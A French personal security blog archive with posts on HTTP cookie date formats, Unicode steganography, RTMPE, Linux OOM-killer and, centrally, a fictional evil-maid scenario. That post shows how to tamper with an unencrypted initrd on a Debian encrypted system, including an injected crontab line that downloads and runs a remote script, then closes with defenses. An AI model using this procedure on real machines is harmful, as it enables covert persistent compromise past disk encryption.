devloop :: blog

Kamoulox 2

Le retour...

C'est sûr qu'un fer à repasser dans le jean ne doit pas faire du bien...
Je me pose des questions sur les outils de traduction utilisés :|

Les navigateurs ont bien du mérite

Ce n'est pas nouveau !
Quand on voit les différents standards (X)HTML, les normes ECMAScript, les histoires d'encodage des caractères, les flux RSS, les images, les animations Flash, le format CSS et que tout ça avance à une vitesse monstre, c'est déjà pas facile.
Mais quand en plus chacun y va de ses solutions propriétaires, ses balises à lui, les webmestres qui s'improvisent du code HTML entre deux standards (en supposant que les balises en question soient fermées), l'interprétation du code qui diffère d'un navigateur à un autre et les astuces à ajouter dans les pages pour réparer les erreurs... on s'en sort plus.

On pouvait penser que la base (le protocole HTTP) était, lui, correctement implémenté... mais après avoir travaillé sur une nouvelle implémentation des cookies dans Wapiti, force est de constater qu'on est loin du compte :(

Premier sujet d'énervement : les dates utilisées dans les entêtes. Quand un serveur déclare un cookie auprès du client, il utilise l'entête Set-Cookie avec un champ nommé expires.
Ce champ donne la date à laquelle expira le cookie associé. Or cette date n'est pas une date relative mais une date absolue dans ce style : Sat, 27 Jun 2009 16:33:21 CET.
C'est déjà énervant de devoir jongler avec les fuseaux horaires mais en plus il faut jongler avec le format de la date.

Lors de mes tests j'ai trouvé quatres formats de date différents présents dans le champ expires des cookies ou les entêtes HTTP Date et Expires.
Avec ou sans virgule, avec le décalage horaire sous forme numérique ou sous la forme de trois lettres (GMT, CET), avec ou sans tirets, avec le mois placé avant ou après le numéro du jour.
Parfois un même serveur (comme www.amazon.com) utilise deux formats de date différents, juste histoire de compliquer les choses :|

Le plus drôle c'est que si on jette un coup d'oeil aux RFC 2109 et RFC 2965 qui définissent le bon usage des cookies dans le protocole HTTP, on apprend qu'il faut utiliser un champ baptisé max-age pour l'expiration des cookies et que sa valeur est... relative au moment présent !! (par exemple max-age=500 définie une durée de vie de 500 secondes)

Seulement presque aucun serveur, CGI et compagnie ne respectent ces spécifications. Au lieu d'utiliser les méthodes revues et corrigées, ils continuent depuis plus de 10 ans de se baser sur les anciennes specs de Netscape.
La raison serait principalement le non respect de ces specs par le navigateur de Microsoft et il semble que ce dernier persiste même arrivé à la version 7 :(

Malgré l'existence d'un entête Set-Cookie2 compatible avec l'ancienne méthode de Netscape, les navigateurs ne semblent pas bien pressés de suivre les bonnes règles. Il n'y a qu'Opera qui fait figure de bon élève dans cette histoire :(

La librairie libcookie de Python montre aussi des défaillances. Pour le moment j'ai pu réécrire le script cookie.py, en analysant directement les entêtes et abandonnant le format LWP/Netscape pour un format XML au niveau du stockage :) Vu comment les choses se présentent ça va se terminer sous la forme d'une librairie.
Les modifications ne sont pas encore visibles dans le SVN.

Hors sujet :
Qu'est-ce qui est arrivé en premier ? L'extravagance de Michael Jackson ou sa dépendance aux médicaments et autres substances ?
La réponse en vidéo. How !

Geeko Builder

Voici un site totalement inutile... donc indispensable qui ravira les fanboys de la distribution Linux openSUSE :

Geeko Builder

Ce site vous permet de créer vous même votre fond d'écran openSUSE en sélectionnant les différents éléments (décor, vétements, outils) à incorporer.
Par exemple j'ai fait une version Geeko Ninja dans une salle de serveurs :D

Bypasser le chiffrement de disque sous Linux

Introduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas :p
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus :D
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près Toutes les astuces pour pas se faire gauler !

Avec la LOPSI 2, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.
Mais qu'en est-il réellement ?

Scénario improbable

José est un terroriste.
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au MacDo...
En plus il est anti-capitaliste au point de ne pas utiliser un système Microsoft !! C'est sûr, José et un homme dangereux.

D'ailleurs il a installé une Debian Lenny en utilisant les options permettant de chiffrer l'ensemble de ses données.

Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement José communique avec GPG. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise OpenOffice et met régulièrement son système à jour.

C'est pour cela que le GIPM (Groupe d'Intervention de Pose de Mouchard) s'est vu remettre l'opération.
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le GIPM (mené par l'inspecteur Coudrier) s'aperçoivent que le disque est chiffré !!
L'inspecteur Coudrier trouvera t-il une astuce ? José ira t-il à Quick à défaut de MacDo ?

Chapitre II

Coudrier ne s'avoue pas vaincu. Il a pris soin d'éplucher le manuel d'installation Debian et s'est attardé sur la partie concernant le chiffrement.
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :

Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.

En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
La première est la partition /dev/hda1 montée sur /boot au format ext2, de petite taille.
La seconde (/dev/hda2) est marquée de format auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire LUKS aes cbc-essiv:sha256 sha1.

Coudrier monte la partition /boot et liste son contenu : un dossier grub et lost+found ainsi que des fichiers config-2.6.26-2-686, initrd.img-2.6.26-2-686, System.map-2.6.26-2-686 et vmlinuz-2.6.26-2-686.
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier vmlinuz-2.6.26-2-686 et commence à s'intéresser au fichier initrd.img-2.6.26-2-686.

Ce fichier pèse 7Mo et est compressé par gzip. Coudrier le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.

$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)

Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.

Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section initrd on peut lire 'real' root is mounted... étrange.
L'inspecteur n'a pas toute la journée : il tente sa chance.

En listant le contenu du initrd (cpio -itv < initrd) il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.
Il y a aussi un dossier scripts dont le contenu est le suivant :

scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev

Il décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier scripts/local il trouve une fonction baptisée mountroot qui contient la ligne suivante :

mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}

Il décide d'ajouter juste derrière la ligne

echo "0 * * * *  root  cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab

Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.
Il lance un sync, démonte les partions, retire sa galette et éteint la machine. Mission accomplished.

Fin

Au prochain démarrage de son ordinateur, José rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de Coudrier de s'exécuter sur la partition tout juste déchiffrée...

Conclusion

Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.

Notes

Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t :D

Stéganographie et Unicode (UTF-8)

Mise en bouche

Jetez un oeil à ce texte, extrait d'une page Wikipedia :

The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Et maintenant jetez un autre oeil au texte suivant :

Thе frequеncy of lettеrѕ in tеxt Һas oftеn beеn studіed for uѕe in сryptogrарhу, and freqυеncy analуѕis in pаrticular. Νо eхасt lettеr frequеncy dіstribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret.
Jeter un coup d'oeil au code HTML de cette page vous donnera certainement un indice, pourtant j'aurais très bien pu vous montrer deux textes bruts (plain text) et vous n'aurez pas forcément remarqué plus de particularités.

L'unicode : qu'est-ce que c'est et pourquoi on nous emmerde avec

L'unicode est une norme de codage des caractères destinée à être utilisée massivement pour rassembler et remplacer les normes existantes de différents pays.
On pourrait représenter l'unicode comme une énorme table de corresponde entre les caractères et leurs valeurs informatique comme on peut en trouver pour l'ASCII.
Pendant longtemps, chacun y allait de sa norme de codage des caractères : ASCII et ISO 8859-1 pour les occidentaux, le Big5 pour les chinois, le KOI8-U pour les russes, le Shift-JIS ou encore le ISO 2022 pour les japonais.
On peut imaginer que cette diversité de normes n'arrange pas les développeurs qui souhaitent rendre leurs logiciels accessibles au plus de personnes possibles, quelque soit leur langue.

Unicode se décline en plusieurs formats : UTF-8, UTF-16 et UTF-32.
Il y a aussi l'UTF-7 utilisé par des protocoles d'envoi de courrier et on parle de UTF-5 ou d'UTF-6, chacun ayant pour spécificité d'être compatible avec alphabet prédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.
Le nombre situé derrière les caractères UTF correspond au nombre de bits minimum nécessaire pour l'encodage d'un caractère.

Le format dont cet article parlera sera l'UTF-8 qui est principalement utilisé par nous autre européens ou américains.
Ce format là a en effet le grand avantage d'être rétro-compatible avec l'ASCII, c'est à dire que la plupart des caractères que l'on utilise sont encodés sur un octet, exactement comme ils l'étaient auparavant.
Ce miracle tient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.
Ainsi notre petit a sera codé 0x61 en hexa comme c'était le cas en ASCII mais le à avec accent tiendra sur deux caractères et se codera 0xC3A0.
La page Wikipedia sur l'UTF-8 montre quels bits sont utilisés sur chaque octet.

L'UTF-8 est donc, comme d'autres formats d'unicode, extensible. Comme dit sur cette page, on pourrait qualifier le format UTF-8 de raciste : quand nos caractères sont encodés sur un ou deux octets, les thaïlandais ou les koréens ont droit à 3 octets par caractère !
Pas de quoi les motiver à utiliser UTF-8, heureusement l'UTF-16 et l'UTF-32 mettent tout le monde à un niveau d'égalité (toutefois l'UTF-32 prend comme son nom l'indique 4 octets par caractère :( )

UTF-8 : représentation, encodage et décodage en Python...

Quand on veut nommer un caractère en unicode, on utilise généralement la forme U+XXXX om XXXX est un nombre hexadécimal dont la taille peut varier.
Pour fouiller dans l'unicode, il y a trois sites quasi-indispensables :
decodeunicode.org : une mine d'or à l'interface soignée.
FileFormat.Info : très pratique, le sites offrent aussi des ressources en dehors d'unicode
Unicode.org : le site officiel avec les tables de caratères au format PDF.
Unimap (unipad.org) : assez simple mais efficace.

Si vous programmez, vous vous êtes peut-être déjà arraché les cheveux devant des problèmes de mauvais encodages. Mon expérience m'a montré que le mieux est encore d'aller à la source et de corriger directement le mauvais caractère (par exemple dans une page html) au lieu de tenter de le convertir/corriger.
Je vous donne tout de même quelques commandes pratiques en Python pour jouer avec les caractères unicode :)

Définissons un caractère s dont la valeur est é et observons son type :

>>> s='é'
>>> type(s), repr(s)
(<type 'str'>, "'\\xc3\\xa9'")

s est un caractère brut : c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.
Transformons ce caratère au type unicode :

>>> u=unicode(s,"UTF-8")
>>> type(u), repr(u)
(<type 'unicode'>, "u'\\xe9'")

Le caractère unicode auquel on a à faire est donc le U+00E9.
Renseignons nous sur ce caractère :

>>> import unicodedata
>>> unicodedata.name(u)
'LATIN SMALL LETTER E WITH ACUTE'
>>> unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
u'\xe9'

Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de virtuel. On est obligé de le mettre en dur (l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.

>>> u.encode("UTF-8")
'\xc3\xa9'

D'autres commandes pratiques :

>>> ord(u)
233
>>> unichr(233)
u'\xe9'
>>> u.encode('ascii', 'xmlcharrefreplace')
'&#233;'

UTF-8 et stéganographie

L'idée d'utiliser l'unicode pour dissimuler des données m'est venue en me demandant s'il y avait pas plusieurs façons d'encoder le même caractère. Après tout, chaque format (ASCII, UTF-8, UTF-16...) offre différents encodages pour un même caractère alors pourquoi pas le même caractère dans un même format ? Avec deux encodages possibles on peut donc glisser un bit (valeur 0 pour un encodage, valeur 1 pour le second).
Mes recherches sur Internet m'ont montré que non seulement je n'étais pas le seul à y avoir pensé mais en plus certains l'avaient déjà implémenté. Je n'invente donc rien mais je vous fournis les techniques utilisés.

La première technique est proposée par MockingEye et son implémentation unisteg.py.
Elle se base sur les diacritiques. Typiquement ce sont les accents et cédilles qui peuvent être attachés à un caractère.

Si vous vous rendez sur le bloc des diacritiques sur decodeunicode.org, vous verrez tout de suite de quoi je veux parler :)
Unicode permet donc d'encoder de deux façons différentes nos lettres à accent. Soit sous leur forme fixe (le é) soit sous une forme combinée (la lettre e combinée avec le diacritique de l'accent aigue).
Le passage de la forme composée à la forme décomposée (et vice-versa) peut se faire par la fonction normalize de la librairie unicodedata en python :

>>> unicodedata.normalize("NFD",u)
u'e\u0301'
>>> unicodedata.normalize("NFC",u'e\u0301')
u'\xe9'
>>> unicodedata.normalize("NFD",u).encode("UTF-8")
'e\xcc\x81'

On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :

La seconde méthode est proposée par Antonio Alcorn. Elle est implémentée en PHP mais le code source n'est pas disponible. Toutefois en analysant le résultat on se rend compte que la technique se base sur l'utilisation de caractères différents mais visuellement très proche.
Par exemple, notre e est très proche du du petit IE cyrillique.
Les caractères cyrilliques sont plus bruts que nos caractères et sont généralement représentés sans serif (voir empattement). En fonction de la police utilisée pour afficher les caractères, on ne verra donc pas la différence. On se servira pour ce faire d'une police sans-serif comme Arial.
Dans le second texte au début de cet article, vous avez peut-être remarqué que le h de has était plus large. C'est tout simplement parce qu'il s'agit du caractère cyrillique SHHA (U+04BA).

Ayant créé moi même mes outils de stéganographie UTF-8 (voir çi-dessous), la recherche des caractères similaires m'a pris un bon moment. J'ai rassemblé ça dans ce fichier.
Les caractères où la différence n'est pas visible (avec la bonne police) sont placés directement. Ceux où l'on peut se laisser prendre sont entre parenthèses avec le signe + accolé. Ceux entre parenthèses ressemblent d'assez loin.

utf8hide et utf8reveal

utf8hide.py permet comme son nom l'indique de cacher des données dans un texte.
Il demande deux arguments : le fichier dont il faut cacher le contenu et un fichier texte au format ISO-8859-1 au ASCII. Un troisème argument (html) peut être passé si on souhaite ensuite injecter le résultat dans une page web.
J'ai repris l'idée de l'implémentation PHP qui propose d'utiliser seulement 5 bits pour coder un caractère à cacher en la poussant plus loin et sans les limitations.
Le programme fait une analyse du fichier à dissimuler et détermine le plus petit nombre de bits nécessaire pour coder un octet. Si le message secret est court, il défini un charset (alphabet) lui permettant ainsi de comprimer un octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.

Le résultat obtenu est placé dans le fichier out.txt. L'affichage donne le nombre de bits pour un octet (nbit), le charset utilisé et la taille du fichier secret. Il faut conserver ces paramêtres pour l'opération inverse.

Un peu à l'instar de ThumbStego qui nécessitait une image et sa signature, utf8reveal.py a besoin du texte ascii/iso8859 qui a servi à dissimuler le fichier et la version UTF-8 dans laquelle sont cachées les données.
On lui passe aussi en argument les variables vues plus tôt et le programme recréé le fichier secret dans secret.xxx

Les deux programmes affichent les bits à l'écran (0 ou 1) ce qui peut-être ennuyeux pour les gros fichiers... mais une telle utilisation est à éviter.
En effet, le programme a beau compresser comme il peut les données en entrées et utiliser la méthode des diacritiques ainsi que celle des ressemblances entre caractères, tous les caractères ne sont malheureusement pas exploitables. Le programme passe alors aux caractères suivant jusqu'à tomber sur un caractère exploitable. Le ratio est donc bien plus faible que 1/8ème mais c'est suffisant pour y passer quelques mots :)

Arghhh
J'ai eu la peur de ma vie (c'est quelque peu exagéré) en développant le code. En voulant recopier mes scripts vers un répertoire de sauvegarde, j'ai bêtement tapé rm -r au lieu de cp, supprimant ainsi les codes et le répertoire de sauvegarde.
A défaut de faire n'importe quoi, je me suis félicité d'avoir quelques connaissances en inforensique, ce qui m'a permis d'extraire le code de la partition :D Pourtant comme le code fait plus de 4096 octets, il était sur deux blocs mémoire et sur du ext3... merci à grep, dd et hexdump :p

Nous sommes tous des terroristes

Je me permets de relayer sur ce blog l'arrivée d'une vidéo baptisée Du bist terrorist (Tu es un terroriste) qui à l'instar de la vidéo Big Brother State dénonce les dérives sécuritaires.

Cette vidéo qui tombe à une époque où des moyens d'écoute des communications sont déjà mis en place et en plein débat sur la loi LOPSI 2 n'est pourtant pas française mais allemande.
Il faut dire que les lois se suivent et se ressemblent en France, en Angleterre et en Allemagne. Nicolas Sarkozy, Gordon Brown ou Wolfgang Schäuble... on a les même à la maison.

Bien sûr on nous assure que ces moyens liberticides ne seront pris que dans des cas extrêmes , pour lutter contre le terrorisme. On regrette toutefois que le terrorisme soit si mal défini et si on s'en tient à l'actualité on a plutôt l'impression qu'il en faut très peu, voir même qu'il suffit d'être de gauche pour rentrer dans une telle classification :(

La vidéo sous-titrée français sur Numerama

Une spécification non-officielle du protocole RTMPE d'Adobe sur Internet

J'ai déjà parlé du protocole RTMPE, protocole de streaming propriétaire de chez Adobe, dans un billet sur M6 Replay ainsi qu'une façon de passer outre les sécurités du protocole en utilisant un logiciel spécifique.

J'avais aussi connaissance de rtmpdump, petit logiciel en ligne de commande qui permet de télécharger les flux RTMP sur différents sites. Pendant un moment je suivais son développement de près puis m'en était petit à petit éloigné en me disant que si un jour le RTMPE, la version chiffrée du RTMP, était implémentée, j'en entendrais forcément parler d'une manière quelconque.

Et c'est arrivé :D
Un lisant cet article de Slashdot, on apprend qu'une spécification non-officielle a été créée en se basant sur le code source de rtmpdump.
La réaction d'Adobe a consisté à utiliser le DMCA (loi sur le droit d'auteur) pour forcer SourceForge à retirer de ses pages le projet rtmpdump qui y était hébergé.

L'implémentation de RTMPE dans rtmpdump n'est pourtant pas si récente. Si on regarde dans le ChangeLog du logiciel, on voit que le code a été rendu publique le 27 avril de cette année par la version 1.5.
On comprend l'agacement d'Adobe qui tenait secret les spécifications de RTMPE et vend ses solutions (serveurs de streaming) à un certain prix faisant tout pour que des solutions libres comme le serveur Red5 ou le player Gnash ne parlent que le RTMP qui est non protégé.

Toutefois je n'ai pas encore jeté un oeil sérieux au support du RTMPE dans rtmpdump ainsi qu'à la spécification (qui commencent tous deux à se répliquer sur Internet dans un mouvement d'anti-censure avec en plus SF qui est montré du doigt) pour déterminer s'il est possible de télécharger facilement les vidéos sur des sites de streaming basés sur les technos Flash ou si cela requiet des connaissances particulières...

Bref un buzz à suivre de très près et qui montre une fois de plus que les DRMs sont voués à l'échec.

Afficher la "kill" liste de votre système Linux

Pour revenir au billet précédent et aux fichiers /proc/[pid]/oom_score et /proc/[pid]/oom_adj...

La page de manuel de proc(5) nous dis informe de différents points intéressants :

oom_adj contient une valeur numérique située entre -17 et 15. Plus la valeur est grande (et positive) plus le processus a des chances d'être candidat à un suicide décidé par le kernel.
On peut jouer sur cette valeur, par exemple en faisant un echo -5 > /proc/[pid]/oom_adj
oom_score contient une valeur numérique bien plus grande qui est calculée à partir de différents éléments comme l'utilisation CPU du processus, sa priorité, s'il tourne avec des privilèges etc. Le résultat est ensuite décalée à l'aide de la valeur oom_adj (bit shift). Cette opération est définie par la fonction badness
la valeur -17 dans oom_adj est particulière et permet de marquer le processus comme indestructible
Tout ce mécanisme peut être activé ou désactivé par /proc/sys/vm/panic_on_oom. Si ce fichier contient 1 alors le système fait un kernel panic en cas de débordement de mémoire. S'il est à 0, oom-killer est appelé à la rescousse.

Pour afficher la liste des processus par ordre croissant de risque de se faire tuer, j'ai créé un script python : oom_score.py

Il donne un résultat de ce style :

oom_score pid   process name                   oom_adj                              
        0  3593 /sbin/auditd -s disable            -17                              
        0   665 /sbin/udevd --daemon               -17                              
       13  2610 /sbin/acpid                          0                              
       15  3622 /usr/sbin/avahi-dnsconfd -D          0
...
    34560  5187 /usr/bin/krunner                     0
    83495  5108 kdeinit4: kdeinit4 Running...        0
    90882     1 init [5]                             0
   103294  5614 /bin/sh /usr/bin/firefox             0

Gare à toi Firefox !! :p Par contre qu'init soit en seconde position, ça fait plus peur :D

Quelqu'un a fait un script bash ici mais il donne moins d'informations (uniquement oom_score et nom du process)

Plantages sous Linux

J'ai beau aimer Linux et dire régulièrement du mal de Windows (la gestion des fenêtres est tout simplement exaspérante face à un bon KDE), j'admets tout de même volontier que Linux est aussi sujet à des plantages.
MAIS quand ça survient sous Linux, on se dit qu'il y a une bonne raison et que surtout il y a une façon de trouver quelle en est la cause et d'agir pour que ça ne se reproduise plus. C'est tout l'avantage d'un système open-source face à un système propriétaire où l'on peut juste... subir et espérer que les devs découvrent puis décident finalement de corriger le problème :(

Je ne sais plus exactement depuis combien de temps j'ai ce souci mais ça fait un bail... en fait probablement depuis que j'ai Shirley ^_^
Le symptôme est toujours le même : tout d'un coup le disque dur se met à gratter et les commandes ne répondent plus. Seul le curseur de la souris est d'accord pour réagir (par intermittence). Si on est suffisamment rapide (c'est rare), on peut parvenir à fermer les applications et éviter le pire.
Le pire (qui est tout de même loin d'être l'enfer mais très énervant) c'est que le système reste inutilisable et gratte pendant un bon moment. Ca peut durer jusqu'à une demi-heure dans mon cas.
Ce comportement est typique d'un programme quelconque qui explose son utilisation mémoire et, une fois la RAM complètement utilisée, s'attaque à la SWAP (d'où l'utilisation intensive du disque dur)

Si on est patient, tout se termine bien. Le kernel s'est chargé de tuer toutes applications graphiques, le WM et Xorg inclus (bref la crémerie avec la crémière et ses yaourts) et on est bon pour se relogger.
Quelques minutes plus tôt on s'acharnait à faire des Ctrl+Alt+F1 dans l'espoir de pouvoir régler nous même le problème.

Il est très difficile de déterminer quel programme est à l'origine du plantage... surtout quand on a toujours les même programmes ouverts :p
Longtemps j'ai soupçonné le operapluginwrap qui est le programme qui gère les plugins sous Opera. Son utilisation du CPU grimpe en flèche dès que l'on tombe sur du Flash (d'où l'utilité d'un FlashBlocker pour limiter les dégats).

Au même titre, j'ai soupçonné Vuze (client BitTorrent développé en Java), ce qui m'a poussé à passer à Deluge récemment.
Mais si on suit la logique, le souci pourrait aussi bien être lié à Firefox (souvent ouvert aussi) ou des daemons (mysqld, apache, tor...)

Malgré le passage à Deluge, le souci est réapparu. Je suis donc allé fouiller dans les logs.
La dernière fois j'avais vu des appels à un programme nommé kwin_killer_helper, sorte de soupape de sécurité de KDE qui tente de fermer des programmes quand ça part en sucettes... seulement son action a l'air peut efficace est surtout l'application n'est pas configurable :(

Cette fois j'ai remarqué des références à oom-killer. Il agit de la même façon que kwin_killer_helper mais au niveau du noyau.
Le problème c'est qu'il semble reporter seulement le programme qui fait déborder le vase or ce n'est pas forcément celui qui s'est chargé de le remplir à 99%... toutefois en faisant des statistiques, on peut en déduire les programmes qui sont plus gourmants que les autres.

Ainsi un grep sur /var/log/messages me donne 9 java invoked oom-killer, 1 pour opera, 1 pour policykit-kde et le dernier en date pour klipper ^_^
Le bon côté c'est qu'en abandonnant Vuze le problème apparait moins souvent mais il reste toujours présent :(

Si je regarde dans les logs plus anciens (archivés par logrotate), on retrouve java mais sont aussi mis en cause hald-addon-stor et mysqld :|

Si on effectue des recherches sur Google, on retrouve tous un tas de programmes variés qui ont invoqué oom-killer dont certains sont réputés stables.
Le souci semble donc venir d'ailleurs.

Pour certains, le souci est lié à la taille de la SWAP... il faudrait qu'elle soit au moins de la taille de la RAM. Je ne dirais pas que je n'y crois pas une seconde... mais presque (va pour deux secondes d'incrédulité)
Pour d'autres là (et sans doute plus fiables) et ici, ce serait lié à l'utilisation d'un système 32bits avec une machine 64bits (ce qui est mon cas).
Je vais probablement suivre la seconde possibilité mais je ne compte pas réinstaller mon système pour le moment (j'attends la version 11.2 d'openSUSE) :p

Pour le moment j'ai vu ici que chaque processus a dans /proc/ des fichiers oom_adj et oom_score dont il serait peut-être bon de connaître l'utilité :|
Et enfin un comique a enregistré le domaine oomkill.net sur lequel ont peut lire le bout de kernel correspondant à ce tueur de gaspilleurs de mémoire (oom = Out Of Memory)

FlashBlock pour Opera

Mieux vaut tard que jamais, j'ai découvert FlashBlock pour Opera. Je l'utilise depuis une semaine et j'en suis très content.
Il est composé d'un UserJS et d'un feuillet de style. Une fois les fichiers copiés dans leurs dossiers Opera, il suffit d'aller dans Afficher > Style et de sélectionner Flash Blocker pour l'activer.
L'utilisation est exactement la même que celle du plugin Firefox et en plus c'est compatible avec les dernières build béta d'Opera 10 :)

FlashBlock pour Opera